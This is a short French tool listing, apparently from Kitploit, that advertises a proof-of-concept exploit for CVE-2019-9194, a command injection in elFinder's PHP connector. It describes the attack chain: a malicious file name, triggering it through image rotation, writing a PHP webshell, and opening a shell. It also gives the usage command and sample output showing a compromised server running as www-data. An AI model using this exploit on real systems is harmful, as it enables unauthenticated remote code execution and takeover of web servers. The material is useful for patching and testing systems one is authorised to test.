CVE-2019-9194-elFinder-Command-Injection-PoC — Vulnérabilité d'injection de commandes dans elFinder <= 2.1.47 via le composant connecteur PHP. Permet l'exécution de code à distance sans authentification en tant qu'utilisateur du serveur web. | Kitploit

Partager

CVE-2019-9194 — elFinder Injection de commande (PoC)

Vulnérabilité d'injection de commande dans elFinder <= 2.1.47 via le composant connecteur PHP. Permet l'exécution de code à distance non authentifiée en tant qu'utilisateur du serveur web.

Fonctionnement

Télécharge un JPEG valide avec un nom de fichier malveillant contenant une commande shell.
Déclenche la vulnérabilité en demandant une rotation d'image, ce qui transmet le nom de fichier à exiftran sans assainissement.
La commande injectée écrit un webshell PHP (SecSignal.php) sur le serveur.
Se connecte au webshell et ouvre un shell interactif.

Prérequis

Python 3
bibliothèque requests (pip install requests)
La cible doit avoir exiftran installé et le connecteur PHP elFinder activé (connector.minimal.php)

Utilisation

python3 exploit.py http://TARGET

Exemple :

$ python3 exploit.py http://10.10.10.10/elFinder
[*] Uploading malicious image...
[*] File uploaded, hash: l1_U2VjU2lnbmFsLmpwZw
[*] Triggering command injection via image rotation...
[*] Checking for webshell...
[+] Pwned!
[+] Interactive shell (Ctrl+C to exit)

$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)